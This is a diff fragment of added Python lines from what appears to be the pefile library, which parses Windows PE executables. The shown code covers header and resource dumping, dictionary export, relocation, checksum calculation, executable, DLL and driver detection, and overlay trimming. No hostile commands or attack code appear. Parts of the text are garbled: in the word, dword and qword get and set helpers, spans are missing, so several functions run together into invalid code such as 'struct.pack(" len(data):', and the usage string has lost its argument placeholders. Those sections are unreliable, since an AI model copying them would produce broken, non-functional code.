else: + dump.add( + "{0}.{1} Hint[{2}]".format( + module.dll.decode(encoding, "backslashreplace_"), + symbol.name.decode(encoding, "backslashreplace_"), + symbol.hint, + ) + ) + + if symbol.bound: + dump.add_line(" Bound: 0x{0:08X}".format(symbol.bound)) + else: + dump.add_newline() + dump.add_newline() + + if hasattr(self, "DIRECTORY_ENTRY_RESOURCE"): + dump.add_header("Resource directory") + + dump.add_lines(self.DIRECTORY_ENTRY_RESOURCE.struct.dump()) + + for res_type in self.DIRECTORY_ENTRY_RESOURCE.entries: + + if res_type.name is not None: + name = res_type.name.decode(encoding, "backslashreplace_") + dump.add_line( + f"Name: [{name}]", + 2, + ) + else: + res_type_id = RESOURCE_TYPE.get(res_type.struct.Id, "-") + dump.add_line( + f"Id: [0x{res_type.struct.Id:X}] ({res_type_id})", + 2, + ) + + dump.add_lines(res_type.struct.dump(), 2) + + if hasattr(res_type, "directory"): + + dump.add_lines(res_type.directory.struct.dump(), 4) + + for resource_id in res_type.directory.entries: + + if resource_id.name is not None: + name = resource_id.name.decode("utf-8", "backslashreplace_") + dump.add_line( + f"Name: [{name}]", + 6, + ) + else: + dump.add_line(f"Id: [0x{resource_id.struct.Id:X}]", 6) + + dump.add_lines(resource_id.struct.dump(), 6) + + if hasattr(resource_id, "directory"): + dump.add_lines(resource_id.directory.struct.dump(), 8) + + for resource_lang in resource_id.directory.entries: + if hasattr(resource_lang, "data"): + dump.add_line( + "\\--- LANG [%d,%d][%s,%s]" + % ( + resource_lang.data.lang, + resource_lang.data.sublang, + LANG.get( + resource_lang.data.lang, "*unknown*" + ), + get_sublang_name_for_lang( + resource_lang.data.lang, + resource_lang.data.sublang, + ), + ), + 8, + ) + dump.add_lines(resource_lang.struct.dump(), 10) + dump.add_lines(resource_lang.data.struct.dump(), 12) + if ( + hasattr(resource_id.directory, "strings") + and resource_id.directory.strings + ): + dump.add_line("[STRINGS]", 10) + for idx, res_string in list( + sorted(resource_id.directory.strings.items()) + ): + dump.add_line( + "{0:6d}: {1}".format( + idx, + res_string.encode( + "unicode-escape", "backslashreplace" + ).decode("ascii"), + ), + 12, + ) + + dump.add_newline() + + dump.add_newline() + + if ( + hasattr(self, "DIRECTORY_ENTRY_TLS") + and self.DIRECTORY_ENTRY_TLS + and self.DIRECTORY_ENTRY_TLS.struct + ): + + dump.add_header("TLS") + dump.add_lines(self.DIRECTORY_ENTRY_TLS.struct.dump()) + dump.add_newline() + + if ( + hasattr(self, "DIRECTORY_ENTRY_LOAD_CONFIG") + and self.DIRECTORY_ENTRY_LOAD_CONFIG + and self.DIRECTORY_ENTRY_LOAD_CONFIG.struct + ): + + dump.add_header("LOAD_CONFIG") + dump.add_lines(self.DIRECTORY_ENTRY_LOAD_CONFIG.struct.dump()) + dump.add_newline() + + if hasattr(self, "DIRECTORY_ENTRY_DEBUG"): + dump.add_header("Debug information") + for dbg in self.DIRECTORY_ENTRY_DEBUG: + dump.add_lines(dbg.struct.dump()) + try: + dump.add_line("Type: " + DEBUG_TYPE[dbg.struct.Type]) + except KeyError: + dump.add_line("Type: 0x{0:x}(Unknown)".format(dbg.struct.Type)) + dump.add_newline() + if dbg.entry: + dump.add_lines(dbg.entry.dump(), 4) + dump.add_newline() + + if self.has_relocs(): + dump.add_header("Base relocations") + for base_reloc in self.DIRECTORY_ENTRY_BASERELOC: + dump.add_lines(base_reloc.struct.dump()) + for reloc in base_reloc.entries: + try: + dump.add_line( + "%08Xh %s" % (reloc.rva, RELOCATION_TYPE[reloc.type][16:]), + 4, + ) + except KeyError: + dump.add_line( + "0x%08X 0x%x(Unknown)" % (reloc.rva, reloc.type), 4 + ) + dump.add_newline() + + if ( + hasattr(self, "DIRECTORY_ENTRY_EXCEPTION") + and len(self.DIRECTORY_ENTRY_EXCEPTION) > 0 + ): + dump.add_header("Unwind data for exception handling") + for rf in self.DIRECTORY_ENTRY_EXCEPTION: + dump.add_lines(rf.struct.dump()) + if hasattr(rf, "unwindinfo") and rf.unwindinfo is not None: + dump.add_lines(rf.unwindinfo.dump(), 4) + + return dump.get_text() + + def dump_dict(self): + """Dump all the PE header information into a dictionary.""" + + dump_dict = {} + + warnings = self.get_warnings() + if warnings: + dump_dict["Parsing Warnings"] = warnings + + dump_dict["DOS_HEADER"] = self.DOS_HEADER.dump_dict() + dump_dict["NT_HEADERS"] = self.NT_HEADERS.dump_dict() + dump_dict["FILE_HEADER"] = self.FILE_HEADER.dump_dict() + + image_flags = retrieve_flags(IMAGE_CHARACTERISTICS, "IMAGE_FILE_") + + dump_dict["Flags"] = [] + for flag in image_flags: + if getattr(self.FILE_HEADER, flag[0]): + dump_dict["Flags"].append(flag[0]) + + if hasattr(self, "OPTIONAL_HEADER") and self.OPTIONAL_HEADER is not None: + dump_dict["OPTIONAL_HEADER"] = self.OPTIONAL_HEADER.dump_dict() + + dll_characteristics_flags = retrieve_flags( + DLL_CHARACTERISTICS, "IMAGE_DLLCHARACTERISTICS_" + ) + + dump_dict["DllCharacteristics"] = [] + for flag in dll_characteristics_flags: + if getattr(self.OPTIONAL_HEADER, flag[0]): + dump_dict["DllCharacteristics"].append(flag[0]) + + dump_dict["PE Sections"] = [] + + section_flags = retrieve_flags(SECTION_CHARACTERISTICS, "IMAGE_SCN_") + for section in self.sections: + section_dict = section.dump_dict() + dump_dict["PE Sections"].append(section_dict) + section_dict["Flags"] = [] + for flag in section_flags: + if getattr(section, flag[0]): + section_dict["Flags"].append(flag[0]) + + section_dict["Entropy"] = section.get_entropy() + if md5 is not None: + section_dict["MD5"] = section.get_hash_md5() + if sha1 is not None: + section_dict["SHA1"] = section.get_hash_sha1() + if sha256 is not None: + section_dict["SHA256"] = section.get_hash_sha256() + if sha512 is not None: + section_dict["SHA512"] = section.get_hash_sha512() + + if hasattr(self, "OPTIONAL_HEADER") and hasattr( + self.OPTIONAL_HEADER, "DATA_DIRECTORY" + ): + + dump_dict["Directories"] = [] + + for idx, directory in enumerate(self.OPTIONAL_HEADER.DATA_DIRECTORY): + if directory is not None: + dump_dict["Directories"].append(directory.dump_dict()) + + if hasattr(self, "VS_VERSIONINFO"): + dump_dict["Version Information"] = [] + for idx, vs_vinfo in enumerate(self.VS_VERSIONINFO): + version_info_list = [] + version_info_list.append(vs_vinfo.dump_dict()) + + if hasattr(self, "VS_FIXEDFILEINFO"): + version_info_list.append(self.VS_FIXEDFILEINFO[idx].dump_dict()) + + if hasattr(self, "FileInfo") and len(self.FileInfo) > idx: + fileinfo_list = [] + version_info_list.append(fileinfo_list) + for entry in self.FileInfo[idx]: + fileinfo_list.append(entry.dump_dict()) + + if hasattr(entry, "StringTable"): + stringtable_dict = {} + for st_entry in entry.StringTable: + fileinfo_list.extend(st_entry.dump_dict()) + stringtable_dict["LangID"] = st_entry.LangID + for str_entry in list(st_entry.entries.items()): + stringtable_dict[str_entry[0]] = str_entry[1] + fileinfo_list.append(stringtable_dict) + + elif hasattr(entry, "Var"): + for var_entry in entry.Var: + var_dict = {} + if hasattr(var_entry, "entry"): + fileinfo_list.extend(var_entry.dump_dict()) + var_dict[list(var_entry.entry.keys())[0]] = list( + var_entry.entry.values() + )[0] + fileinfo_list.append(var_dict) + + dump_dict["Version Information"].append(version_info_list) + + if hasattr(self, "DIRECTORY_ENTRY_EXPORT"): + dump_dict["Exported symbols"] = [] + dump_dict["Exported symbols"].append( + self.DIRECTORY_ENTRY_EXPORT.struct.dump_dict() + ) + for export in self.DIRECTORY_ENTRY_EXPORT.symbols: + export_dict = {} + if export.address is not None: + export_dict.update( + { + "Ordinal": export.ordinal, + "RVA": export.address, + "Name": export.name, + } + ) + if export.forwarder: + export_dict["forwarder"] = export.forwarder + dump_dict["Exported symbols"].append(export_dict) + + if hasattr(self, "DIRECTORY_ENTRY_IMPORT"): + dump_dict["Imported symbols"] = [] + for module in self.DIRECTORY_ENTRY_IMPORT: + import_list = [] + dump_dict["Imported symbols"].append(import_list) + import_list.append(module.struct.dump_dict()) + for symbol in module.imports: + symbol_dict = {} + if symbol.import_by_ordinal is True: + symbol_dict["DLL"] = module.dll + symbol_dict["Ordinal"] = symbol.ordinal + else: + symbol_dict["DLL"] = module.dll + symbol_dict["Name"] = symbol.name + symbol_dict["Hint"] = symbol.hint + + if symbol.bound: + symbol_dict["Bound"] = symbol.bound + import_list.append(symbol_dict) + + if hasattr(self, "DIRECTORY_ENTRY_BOUND_IMPORT"): + dump_dict["Bound imports"] = [] + for bound_imp_desc in self.DIRECTORY_ENTRY_BOUND_IMPORT: + bound_imp_desc_dict = {} + dump_dict["Bound imports"].append(bound_imp_desc_dict) + + bound_imp_desc_dict.update(bound_imp_desc.struct.dump_dict()) + bound_imp_desc_dict["DLL"] = bound_imp_desc.name + + for bound_imp_ref in bound_imp_desc.entries: + bound_imp_ref_dict = {} + bound_imp_ref_dict.update(bound_imp_ref.struct.dump_dict()) + bound_imp_ref_dict["DLL"] = bound_imp_ref.name + + if hasattr(self, "DIRECTORY_ENTRY_DELAY_IMPORT"): + dump_dict["Delay Imported symbols"] = [] + for module in self.DIRECTORY_ENTRY_DELAY_IMPORT: + module_list = [] + dump_dict["Delay Imported symbols"].append(module_list) + module_list.append(module.struct.dump_dict()) + + for symbol in module.imports: + symbol_dict = {} + if symbol.import_by_ordinal is True: + symbol_dict["DLL"] = module.dll + symbol_dict["Ordinal"] = symbol.ordinal + else: + symbol_dict["DLL"] = module.dll + symbol_dict["Name"] = symbol.name + symbol_dict["Hint"] = symbol.hint + + if symbol.bound: + symbol_dict["Bound"] = symbol.bound + module_list.append(symbol_dict) + + if hasattr(self, "DIRECTORY_ENTRY_RESOURCE"): + dump_dict["Resource directory"] = [] + dump_dict["Resource directory"].append( + self.DIRECTORY_ENTRY_RESOURCE.struct.dump_dict() + ) + + for res_type in self.DIRECTORY_ENTRY_RESOURCE.entries: + resource_type_dict = {} + + if res_type.name is not None: + resource_type_dict["Name"] = res_type.name + else: + resource_type_dict["Id"] = ( + res_type.struct.Id, + RESOURCE_TYPE.get(res_type.struct.Id, "-"), + ) + + resource_type_dict.update(res_type.struct.dump_dict()) + dump_dict["Resource directory"].append(resource_type_dict) + + if hasattr(res_type, "directory"): + directory_list = [] + directory_list.append(res_type.directory.struct.dump_dict()) + dump_dict["Resource directory"].append(directory_list) + + for resource_id in res_type.directory.entries: + resource_id_dict = {} + + if resource_id.name is not None: + resource_id_dict["Name"] = resource_id.name + else: + resource_id_dict["Id"] = resource_id.struct.Id + + resource_id_dict.update(resource_id.struct.dump_dict()) + directory_list.append(resource_id_dict) + + if hasattr(resource_id, "directory"): + resource_id_list = [] + resource_id_list.append( + resource_id.directory.struct.dump_dict() + ) + directory_list.append(resource_id_list) + + for resource_lang in resource_id.directory.entries: + if hasattr(resource_lang, "data"): + resource_lang_dict = {} + resource_lang_dict["LANG"] = resource_lang.data.lang + resource_lang_dict[ + "SUBLANG" + ] = resource_lang.data.sublang + resource_lang_dict["LANG_NAME"] = LANG.get( + resource_lang.data.lang, "*unknown*" + ) + resource_lang_dict[ + "SUBLANG_NAME" + ] = get_sublang_name_for_lang( + resource_lang.data.lang, + resource_lang.data.sublang, + ) + resource_lang_dict.update( + resource_lang.struct.dump_dict() + ) + resource_lang_dict.update( + resource_lang.data.struct.dump_dict() + ) + resource_id_list.append(resource_lang_dict) + if ( + hasattr(resource_id.directory, "strings") + and resource_id.directory.strings + ): + for idx, res_string in list( + resource_id.directory.strings.items() + ): + resource_id_list.append( + res_string.encode( + "unicode-escape", "backslashreplace" + ).decode("ascii") + ) + + if ( + hasattr(self, "DIRECTORY_ENTRY_TLS") + and self.DIRECTORY_ENTRY_TLS + and self.DIRECTORY_ENTRY_TLS.struct + ): + dump_dict["TLS"] = self.DIRECTORY_ENTRY_TLS.struct.dump_dict() + + if ( + hasattr(self, "DIRECTORY_ENTRY_LOAD_CONFIG") + and self.DIRECTORY_ENTRY_LOAD_CONFIG + and self.DIRECTORY_ENTRY_LOAD_CONFIG.struct + ): + dump_dict[ + "LOAD_CONFIG" + ] = self.DIRECTORY_ENTRY_LOAD_CONFIG.struct.dump_dict() + + if hasattr(self, "DIRECTORY_ENTRY_DEBUG"): + dump_dict["Debug information"] = [] + for dbg in self.DIRECTORY_ENTRY_DEBUG: + dbg_dict = {} + dump_dict["Debug information"].append(dbg_dict) + dbg_dict.update(dbg.struct.dump_dict()) + dbg_dict["Type"] = DEBUG_TYPE.get(dbg.struct.Type, dbg.struct.Type) + + if self.has_relocs(): + dump_dict["Base relocations"] = [] + for base_reloc in self.DIRECTORY_ENTRY_BASERELOC: + base_reloc_list = [] + dump_dict["Base relocations"].append(base_reloc_list) + base_reloc_list.append(base_reloc.struct.dump_dict()) + for reloc in base_reloc.entries: + reloc_dict = {} + base_reloc_list.append(reloc_dict) + reloc_dict["RVA"] = reloc.rva + try: + reloc_dict["Type"] = RELOCATION_TYPE[reloc.type][16:] + except KeyError: + reloc_dict["Type"] = reloc.type + + return dump_dict + + # OC Patch + def get_physical_by_rva(self, rva): + """Gets the physical address in the PE file from an RVA value.""" + try: + return self.get_offset_from_rva(rva) + except Exception: + return None + + ## + # Double-Word get / set + ## + + def get_data_from_dword(self, dword): + """Return a four byte string representing the double word value (little endian).""" + return struct.pack(" len(data): + return None + + return struct.unpack(" len(self.__data__): + return None + + return self.get_dword_from_data(self.__data__[offset : offset + 4], 0) + + def set_dword_at_rva(self, rva, dword): + """Set the double word value at the file offset corresponding to the given RVA.""" + return self.set_bytes_at_rva(rva, self.get_data_from_dword(dword)) + + def set_dword_at_offset(self, offset, dword): + """Set the double word value at the given file offset.""" + return self.set_bytes_at_offset(offset, self.get_data_from_dword(dword)) + + ## + # Word get / set + ## + + def get_data_from_word(self, word): + """Return a two byte string representing the word value. (little endian).""" + return struct.pack(" len(data): + return None + + return struct.unpack(" len(self.__data__): + return None + + return self.get_word_from_data(self.__data__[offset : offset + 2], 0) + + def set_word_at_rva(self, rva, word): + """Set the word value at the file offset corresponding to the given RVA.""" + return self.set_bytes_at_rva(rva, self.get_data_from_word(word)) + + def set_word_at_offset(self, offset, word): + """Set the word value at the given file offset.""" + return self.set_bytes_at_offset(offset, self.get_data_from_word(word)) + + ## + # Quad-Word get / set + ## + + def get_data_from_qword(self, word): + """Return an eight byte string representing the quad-word value (little endian).""" + return struct.pack(" len(data): + return None + + return struct.unpack(" len(self.__data__): + return None + + return self.get_qword_from_data(self.__data__[offset : offset + 8], 0) + + def set_qword_at_rva(self, rva, qword): + """Set the quad-word value at the file offset corresponding to the given RVA.""" + return self.set_bytes_at_rva(rva, self.get_data_from_qword(qword)) + + def set_qword_at_offset(self, offset, qword): + """Set the quad-word value at the given file offset.""" + return self.set_bytes_at_offset(offset, self.get_data_from_qword(qword)) + + ## + # Set bytes + ## + + def set_bytes_at_rva(self, rva, data): + """Overwrite, with the given string, the bytes at the file offset corresponding + to the given RVA. + + Return True if successful, False otherwise. It can fail if the + offset is outside the file's boundaries. + """ + + if not isinstance(data, bytes): + raise TypeError("data should be of type: bytes") + + offset = self.get_physical_by_rva(rva) + if not offset: + return False + + return self.set_bytes_at_offset(offset, data) + + def set_bytes_at_offset(self, offset, data): + """Overwrite the bytes at the given file offset with the given string. + + Return True if successful, False otherwise. It can fail if the + offset is outside the file's boundaries. + """ + + if not isinstance(data, bytes): + raise TypeError("data should be of type: bytes") + + if 0 <= offset < len(self.__data__): + self.set_data_bytes(offset, data) + else: + return False + + return True + + def set_data_bytes(self, offset: int, data: bytes): + if not isinstance(self.__data__, bytearray): + self.__data__ = bytearray(self.__data__) + + self.__data__[offset : offset + len(data)] = data + + def merge_modified_section_data(self): + """Update the PE image content with any individual section data that has been + modified. + """ + + for section in self.sections: + section_data_start = self.adjust_FileAlignment( + section.PointerToRawData, self.OPTIONAL_HEADER.FileAlignment + ) + section_data_end = section_data_start + section.SizeOfRawData + if section_data_start < len(self.__data__) and section_data_end < len( + self.__data__ + ): + self.set_data_bytes(section_data_start, section.get_data()) + + def relocate_image(self, new_ImageBase): + """Apply the relocation information to the image using the provided image base. + + This method will apply the relocation information to the image. Given the new + base, all the relocations will be processed and both the raw data and the + section's data will be fixed accordingly. + The resulting image can be retrieved as well through the method: + + get_memory_mapped_image() + + In order to get something that would more closely match what could be found in + memory once the Windows loader finished its work. + """ + + relocation_difference = new_ImageBase - self.OPTIONAL_HEADER.ImageBase + + if ( + len(self.OPTIONAL_HEADER.DATA_DIRECTORY) >= 6 + and self.OPTIONAL_HEADER.DATA_DIRECTORY[5].Size + ): + if not hasattr(self, "DIRECTORY_ENTRY_BASERELOC"): + self.parse_data_directories( + directories=[DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_BASERELOC"]] + ) + if not hasattr(self, "DIRECTORY_ENTRY_BASERELOC"): + self.__warnings.append( + "Relocating image but PE does not have (or pefile cannot " + "parse) a DIRECTORY_ENTRY_BASERELOC" + ) + else: + for reloc in self.DIRECTORY_ENTRY_BASERELOC: + + # We iterate with an index because if the relocation is of type + # IMAGE_REL_BASED_HIGHADJ we need to also process the next entry + # at once and skip it for the next iteration + # + entry_idx = 0 + while entry_idx < len(reloc.entries): + + entry = reloc.entries[entry_idx] + entry_idx += 1 + + if entry.type == RELOCATION_TYPE["IMAGE_REL_BASED_ABSOLUTE"]: + # Nothing to do for this type of relocation + pass + + elif entry.type == RELOCATION_TYPE["IMAGE_REL_BASED_HIGH"]: + # Fix the high 16-bits of a relocation + # + # Add high 16-bits of relocation_difference to the + # 16-bit value at RVA=entry.rva + + self.set_word_at_rva( + entry.rva, + ( + self.get_word_at_rva(entry.rva) + + relocation_difference + >> 16 + ) + & 0xFFFF, + ) + + elif entry.type == RELOCATION_TYPE["IMAGE_REL_BASED_LOW"]: + # Fix the low 16-bits of a relocation + # + # Add low 16 bits of relocation_difference to the 16-bit + # value at RVA=entry.rva + + self.set_word_at_rva( + entry.rva, + ( + self.get_word_at_rva(entry.rva) + + relocation_difference + ) + & 0xFFFF, + ) + + elif entry.type == RELOCATION_TYPE["IMAGE_REL_BASED_HIGHLOW"]: + # Handle all high and low parts of a 32-bit relocation + # + # Add relocation_difference to the value at RVA=entry.rva + + self.set_dword_at_rva( + entry.rva, + self.get_dword_at_rva(entry.rva) + + relocation_difference, + ) + + elif entry.type == RELOCATION_TYPE["IMAGE_REL_BASED_HIGHADJ"]: + # Fix the high 16-bits of a relocation and adjust + # + # Add high 16-bits of relocation_difference to the 32-bit + # value composed from the (16-bit value at + # RVA=entry.rva)<<16 plus the 16-bit value at the next + # relocation entry. + + # If the next entry is beyond the array's limits, + # abort... the table is corrupt + if entry_idx == len(reloc.entries): + break + + next_entry = reloc.entries[entry_idx] + entry_idx += 1 + self.set_word_at_rva( + entry.rva, + ( + (self.get_word_at_rva(entry.rva) << 16) + + next_entry.rva + + relocation_difference + & 0xFFFF0000 + ) + >> 16, + ) + + elif entry.type == RELOCATION_TYPE["IMAGE_REL_BASED_DIR64"]: + # Apply the difference to the 64-bit value at the offset + # RVA=entry.rva + + self.set_qword_at_rva( + entry.rva, + self.get_qword_at_rva(entry.rva) + + relocation_difference, + ) + + self.OPTIONAL_HEADER.ImageBase = new_ImageBase + + # correct VAs(virtual addresses) occurrences in directory information + if hasattr(self, "DIRECTORY_ENTRY_IMPORT"): + for dll in self.DIRECTORY_ENTRY_IMPORT: + for func in dll.imports: + func.address += relocation_difference + if hasattr(self, "DIRECTORY_ENTRY_TLS"): + self.DIRECTORY_ENTRY_TLS.struct.StartAddressOfRawData += ( + relocation_difference + ) + self.DIRECTORY_ENTRY_TLS.struct.EndAddressOfRawData += ( + relocation_difference + ) + self.DIRECTORY_ENTRY_TLS.struct.AddressOfIndex += relocation_difference + self.DIRECTORY_ENTRY_TLS.struct.AddressOfCallBacks += ( + relocation_difference + ) + if hasattr(self, "DIRECTORY_ENTRY_LOAD_CONFIG"): + if self.DIRECTORY_ENTRY_LOAD_CONFIG.struct.LockPrefixTable: + self.DIRECTORY_ENTRY_LOAD_CONFIG.struct.LockPrefixTable += ( + relocation_difference + ) + if self.DIRECTORY_ENTRY_LOAD_CONFIG.struct.EditList: + self.DIRECTORY_ENTRY_LOAD_CONFIG.struct.EditList += ( + relocation_difference + ) + if self.DIRECTORY_ENTRY_LOAD_CONFIG.struct.SecurityCookie: + self.DIRECTORY_ENTRY_LOAD_CONFIG.struct.SecurityCookie += ( + relocation_difference + ) + if self.DIRECTORY_ENTRY_LOAD_CONFIG.struct.SEHandlerTable: + self.DIRECTORY_ENTRY_LOAD_CONFIG.struct.SEHandlerTable += ( + relocation_difference + ) + if self.DIRECTORY_ENTRY_LOAD_CONFIG.struct.GuardCFCheckFunctionPointer: + self.DIRECTORY_ENTRY_LOAD_CONFIG.struct.GuardCFCheckFunctionPointer += ( + relocation_difference + ) + if self.DIRECTORY_ENTRY_LOAD_CONFIG.struct.GuardCFFunctionTable: + self.DIRECTORY_ENTRY_LOAD_CONFIG.struct.GuardCFFunctionTable += ( + relocation_difference + ) + + def verify_checksum(self): + + return self.OPTIONAL_HEADER.CheckSum == self.generate_checksum() + + def generate_checksum(self): + # This will make sure that the data representing the PE image + # is updated with any changes that might have been made by + # assigning values to header fields as those are not automatically + # updated upon assignment. + # + # data = self.write() + # print('{0}'.format(len(data))) + # for idx, b in enumerate(data): + # if b != ord(self.__data__[idx]) or (idx > 1244440 and idx < 1244460): + # print('Idx: {0} G {1:02x} {3} B {2:02x}'.format( + # idx, ord(self.__data__[idx]), b, + # self.__data__[idx], chr(b))) + self.__data__ = self.write() + + # Get the offset to the CheckSum field in the OptionalHeader + # (The offset is the same in PE32 and PE32+) + checksum_offset = self.OPTIONAL_HEADER.get_file_offset() + 0x40 # 64 + + checksum = 0 + # Verify the data is dword-aligned. Add padding if needed + # + remainder = len(self.__data__) % 4 + data_len = len(self.__data__) + ((4 - remainder) * (remainder != 0)) + + for i in range(int(data_len / 4)): + # Skip the checksum field + if i == int(checksum_offset / 4): + continue + if i + 1 == (int(data_len / 4)) and remainder: + dword = struct.unpack( + "I", self.__data__[i * 4 :] + (b"\0" * (4 - remainder)) + )[0] + else: + dword = struct.unpack("I", self.__data__[i * 4 : i * 4 + 4])[0] + # Optimized the calculation (thanks to Emmanuel Bourg for pointing it out!) + checksum += dword + if checksum >= 2**32: + checksum = (checksum & 0xFFFFFFFF) + (checksum >> 32) + + checksum = (checksum & 0xFFFF) + (checksum >> 16) + checksum = (checksum) + (checksum >> 16) + checksum = checksum & 0xFFFF + + # The length is the one of the original data, not the padded one + # + return checksum + len(self.__data__) + + def is_exe(self): + """Check whether the file is a standard executable. + + This will return true only if the file has the IMAGE_FILE_EXECUTABLE_IMAGE flag + set and the IMAGE_FILE_DLL not set and the file does not appear to be a driver + either. + """ + + EXE_flag = IMAGE_CHARACTERISTICS["IMAGE_FILE_EXECUTABLE_IMAGE"] + + if ( + (not self.is_dll()) + and (not self.is_driver()) + and (EXE_flag & self.FILE_HEADER.Characteristics) == EXE_flag + ): + return True + + return False + + def is_dll(self): + """Check whether the file is a standard DLL. + + This will return true only if the image has the IMAGE_FILE_DLL flag set. + """ + + DLL_flag = IMAGE_CHARACTERISTICS["IMAGE_FILE_DLL"] + + if (DLL_flag & self.FILE_HEADER.Characteristics) == DLL_flag: + return True + + return False + + def is_driver(self): + """Check whether the file is a Windows driver. + + This will return true only if there are reliable indicators of the image + being a driver. + """ + + # Checking that the ImageBase field of the OptionalHeader is above or + # equal to 0x80000000 (that is, whether it lies in the upper 2GB of + # the address space, normally belonging to the kernel) is not a + # reliable enough indicator. For instance, PEs that play the invalid + # ImageBase trick to get relocated could be incorrectly assumed to be + # drivers. + + # This is not reliable either... + # + # if any((section.Characteristics & + # SECTION_CHARACTERISTICS['IMAGE_SCN_MEM_NOT_PAGED']) for + # section in self.sections ): + # return True + + # If the import directory was not parsed (fast_load = True); do it now. + if not hasattr(self, "DIRECTORY_ENTRY_IMPORT"): + self.parse_data_directories( + directories=[DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_IMPORT"]] + ) + + # If there's still no import directory (the PE doesn't have one or it's + # malformed), give up. + if not hasattr(self, "DIRECTORY_ENTRY_IMPORT"): + return False + + # self.DIRECTORY_ENTRY_IMPORT will now exist, although it may be empty. + # If it imports from "ntoskrnl.exe" or other kernel components it should + # be a driver + # + system_DLLs = set( + (b"ntoskrnl.exe", b"hal.dll", b"ndis.sys", b"bootvid.dll", b"kdcom.dll") + ) + if system_DLLs.intersection( + [imp.dll.lower() for imp in self.DIRECTORY_ENTRY_IMPORT] + ): + return True + + driver_like_section_names = set((b"page", b"paged")) + if driver_like_section_names.intersection( + [section.Name.lower().rstrip(b"\x00") for section in self.sections] + ) and ( + self.OPTIONAL_HEADER.Subsystem + in ( + SUBSYSTEM_TYPE["IMAGE_SUBSYSTEM_NATIVE"], + SUBSYSTEM_TYPE["IMAGE_SUBSYSTEM_NATIVE_WINDOWS"], + ) + ): + return True + + return False + + def get_overlay_data_start_offset(self): + """Get the offset of data appended to the file and not contained within + the area described in the headers.""" + + largest_offset_and_size = (0, 0) + + def update_if_sum_is_larger_and_within_file( + offset_and_size, file_size=len(self.__data__) + ): + if sum(offset_and_size) <= file_size and sum(offset_and_size) > sum( + largest_offset_and_size + ): + return offset_and_size + return largest_offset_and_size + + if hasattr(self, "OPTIONAL_HEADER"): + largest_offset_and_size = update_if_sum_is_larger_and_within_file( + ( + self.OPTIONAL_HEADER.get_file_offset(), + self.FILE_HEADER.SizeOfOptionalHeader, + ) + ) + + for section in self.sections: + largest_offset_and_size = update_if_sum_is_larger_and_within_file( + (section.PointerToRawData, section.SizeOfRawData) + ) + + skip_directories = [DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_SECURITY"]] + + for idx, directory in enumerate(self.OPTIONAL_HEADER.DATA_DIRECTORY): + if idx in skip_directories: + continue + try: + largest_offset_and_size = update_if_sum_is_larger_and_within_file( + (self.get_offset_from_rva(directory.VirtualAddress), directory.Size) + ) + # Ignore directories with RVA out of file + except PEFormatError: + continue + + if len(self.__data__) > sum(largest_offset_and_size): + return sum(largest_offset_and_size) + + return None + + def get_overlay(self): + """Get the data appended to the file and not contained within the area described + in the headers.""" + + overlay_data_offset = self.get_overlay_data_start_offset() + + if overlay_data_offset is not None: + return self.__data__[overlay_data_offset:] + + return None + + def trim(self): + """Return the just data defined by the PE headers, removing any overlaid data.""" + + overlay_data_offset = self.get_overlay_data_start_offset() + + if overlay_data_offset is not None: + return self.__data__[:overlay_data_offset] + + return self.__data__[:] + + # According to http://corkami.blogspot.com/2010/01/parce-que-la-planche-aura-brule.html + # if PointerToRawData is less that 0x200 it's rounded to zero. Loading the test file + # in a debugger it's easy to verify that the PointerToRawData value of 1 is rounded + # to zero. Hence we reproduce the behavior + # + # According to the document: + # [ Microsoft Portable Executable and Common Object File Format Specification ] + # "The alignment factor (in bytes) that is used to align the raw data of sections in + # the image file. The value should be a power of 2 between 512 and 64 K, inclusive. + # The default is 512. If the SectionAlignment is less than the architecture's page + # size, then FileAlignment must match SectionAlignment." + # + # The following is a hard-coded constant if the Windows loader + def adjust_FileAlignment(self, val, file_alignment): + if file_alignment > FILE_ALIGNMENT_HARDCODED_VALUE: + # If it's not a power of two, report it: + if self.FileAlignment_Warning is False and not power_of_two(file_alignment): + self.__warnings.append( + "If FileAlignment > 0x200 it should be a power of 2. Value: %x" + % (file_alignment) + ) + self.FileAlignment_Warning = True + + return cache_adjust_FileAlignment(val, file_alignment) + + # According to the document: + # [ Microsoft Portable Executable and Common Object File Format Specification ] + # "The alignment (in bytes) of sections when they are loaded into memory. It must be + # greater than or equal to FileAlignment. The default is the page size for the + # architecture." + # + def adjust_SectionAlignment(self, val, section_alignment, file_alignment): + if file_alignment < FILE_ALIGNMENT_HARDCODED_VALUE: + if ( + file_alignment != section_alignment + and self.SectionAlignment_Warning is False + ): + self.__warnings.append( + "If FileAlignment(%x) < 0x200 it should equal SectionAlignment(%x)" + % (file_alignment, section_alignment) + ) + self.SectionAlignment_Warning = True + + return cache_adjust_SectionAlignment(val, section_alignment, file_alignment) + + +def main(): + import sys + + usage = """\ +pefile.py +pefile.py exports """ + + if not sys.argv[1:]: + print(usage) + elif sys.argv[1] == "exports": + if not sys.argv[2:]: + sys.exit("error: required") + pe = PE(sys.argv[2]) + for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols: + print( + hex(pe.OPTIONAL_HEADER.ImageBase + exp.address), exp.name, exp.ordinal + ) + else: + print(PE(sys.argv[1]).dump_info()) + + +if __name__ == "__main__": + main()